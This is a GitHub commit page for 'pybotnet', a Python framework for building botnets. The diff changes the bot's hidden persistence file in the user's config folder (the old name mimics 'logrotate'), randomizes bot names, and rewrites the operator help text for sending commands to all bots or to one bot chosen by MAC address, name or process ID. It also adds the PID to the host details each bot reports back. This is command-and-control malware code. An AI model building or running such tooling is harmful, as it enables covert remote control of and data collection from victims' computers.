Skip to content

Commit

Permalink
improve /help and improve Run syntax
Browse files Browse the repository at this point in the history
  • Loading branch information
onionj committed Aug 5, 2022
1 parent ef36226 commit d412da7
Show file tree
Hide file tree
Showing 5 changed files with 62 additions and 40 deletions.
2 changes: 1 addition & 1 deletion install.sh
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ bot_name=example_bot_name



botnet="$HOME/.config/.logrotate"
botnet="$HOME/.config/.pybotnet"

tee<<EOF > $botnet
#!/bin/sh
Expand Down
15 changes: 4 additions & 11 deletions pybotnet/__main__.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@

parser = argparse.ArgumentParser(
prog="pybotnet",
description="pybotnet - a python framework for creating botnet..."
description="pybotnet - a python framework for creating botnet...",
)

parser.add_argument(
Expand All @@ -21,16 +21,9 @@
choices=ENGINE_NAMES,
default="telegram",
)
parser.add_argument(
"-t",
"--token",
help="bot token",
required=False,
)
parser.add_argument(
"-i", "--id", help="admin id", required=False
)
parser.add_argument("-n", "--name", help="bot name", required=False, default="...")
parser.add_argument("-t", "--token", help="bot token", required=False)
parser.add_argument("-i", "--id", help="admin id", required=False)
parser.add_argument("-n", "--name", help="bot name", required=False, default=None)
parser.add_argument(
"-d", "--debug", help="debug mode", required=False, action="store_true"
)
Expand Down
74 changes: 54 additions & 20 deletions pybotnet/botnet.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,8 @@
import datetime
import logging
import inspect
import random
import string
import uuid
import time
import os
Expand All @@ -30,7 +32,7 @@ def __init__(
self,
engine: "BaseEngine" = None,
*,
bot_name: str = "no_name",
bot_name: str = None,
version: str = "0.1.0",
delay: int = 1.5,
use_default_scripts: bool = True,
Expand All @@ -39,6 +41,9 @@ def __init__(
**extra,
):
self.engine = engine
if bot_name is None:
bot_name = "".join(random.choices(string.ascii_letters, k=5))

self.BOT_NAME = str(bot_name).strip().replace(" ", "_")

self.version = version
Expand Down Expand Up @@ -116,27 +121,56 @@ def wrapper(*args, **kwargs):

def _help(self, script_name=None) -> str:
all_scripts_name = list(self.scripts.keys())
all_scripts_name.extend(["help", "start"])
all_scripts_name = "\n".join(all_scripts_name)
help_str = f"""All scripts name: \n\n{all_scripts_name}
all_scripts_name.extend(["help"])
all_scripts_name = "\n ".join(all_scripts_name)
help_str = f"""
# All scripts name:
{all_scripts_name}
Get more details about a script:
# Get more details about a script:
`/help script-name`
Example:
`/help shell`
# Run a script:
- For all bots:
Run script Syntax:
`/[SCRIPT-NAME] [params]`
or
Example:
`/echo hi`
`/who`
- For Select specific bot:
`[mac-address] /[SCRIPT-NAME] [params]`
or
Example:
`{str(uuid.getnode())} /echo hi`
`{str(uuid.getnode())} /who`
`[BOT-NAME] /[SCRIPT-NAME] [params]`
Example:
`{self.BOT_NAME} /echo hi`
`{self.BOT_NAME} /who`
Example:
`/echo hi`
`94945035671481 /echo hi`
`bot_name /echo hi`
`[pid] /[SCRIPT-NAME] [params]`
Example:
`{str(os.getpid())} {self.BOT_NAME} /echo hi`
`{str(os.getpid())} {self.BOT_NAME} /who`
`[mac-address] [pid] /[SCRIPT-NAME] [params]`
Example:
`{str(uuid.getnode())} {str(os.getpid())} /echo hi`
`{str(uuid.getnode())} {str(os.getpid())} /who`
`[mac-address] [BOT-NAME] /[SCRIPT-NAME] [params]`
Example:
`{str(uuid.getnode())} {self.BOT_NAME} /echo hi`
`{str(uuid.getnode())} {self.BOT_NAME} /who`
PyBotNet version: {__version__}
Docs: {__github_link__}
# PyBotNet version: {__version__}
# Docs: {__github_link__}
"""
if script_name:
if script_name in ["help", "start"]:
Expand Down Expand Up @@ -186,6 +220,7 @@ def system_info(self, minimal=False):
minimal_info = {
"scripts_name": list(self.scripts),
"mac_addres": uuid.getnode(),
"pid": os.getpid(),
"bot_name": self.BOT_NAME,
"os": platform.system(),
"global_ip": get_global_ip(),
Expand Down Expand Up @@ -213,7 +248,6 @@ def system_info(self, minimal=False):
seconds=round((time.time() - self.__run_time))
),
"current_route": os.getcwd(),
"pid": os.getpid(),
"cpu_count": os.cpu_count(),
"pybotnet_version": __version__,
}
Expand Down Expand Up @@ -263,13 +297,13 @@ def _main_while(self):
_logger.debug(f"Engine[{self.engine}] Error: {e}")
command = False

# check for mac_addres or self.BOT_NAME
# check for mac_addres, self.BOT_NAME or PID
if self._valid_command(command, expected_length=2):
if command[0] in [str(uuid.getnode()), self.BOT_NAME]:
command = command[1:]
command_prefix = [str(uuid.getnode()), self.BOT_NAME, str(os.getpid())]
for _ in command_prefix:
if command[0] in command_prefix:
command = command[1:]

if command[0] in [str(uuid.getnode()), self.BOT_NAME]:
command = command[1:]

if not self._valid_command(command, check_slash=True):
_logger.debug("<There is no command to execute>")
Expand Down
2 changes: 1 addition & 1 deletion pybotnet/package_info.py
Original file line number Diff line number Diff line change
@@ -1,2 +1,2 @@
__version__ = "2.1.1"
__version__ = "2.2.0"
__github_link__ = "https://github.com/onionj/pybotnet"
9 changes: 2 additions & 7 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -1,10 +1,5 @@
beautifulsoup4==4.11.1
certifi==2022.5.18.1
charset-normalizer==2.0.12
idna==3.3
Pillow>=9.0.1
pillow==9.2.0
pynput==1.6.8
requests==2.27.1
soupsieve==2.3.2.post1
urllib3==1.26.9
schedule==1.1.0
pynput==1.6.8

0 comments on commit d412da7

Please sign in to comment.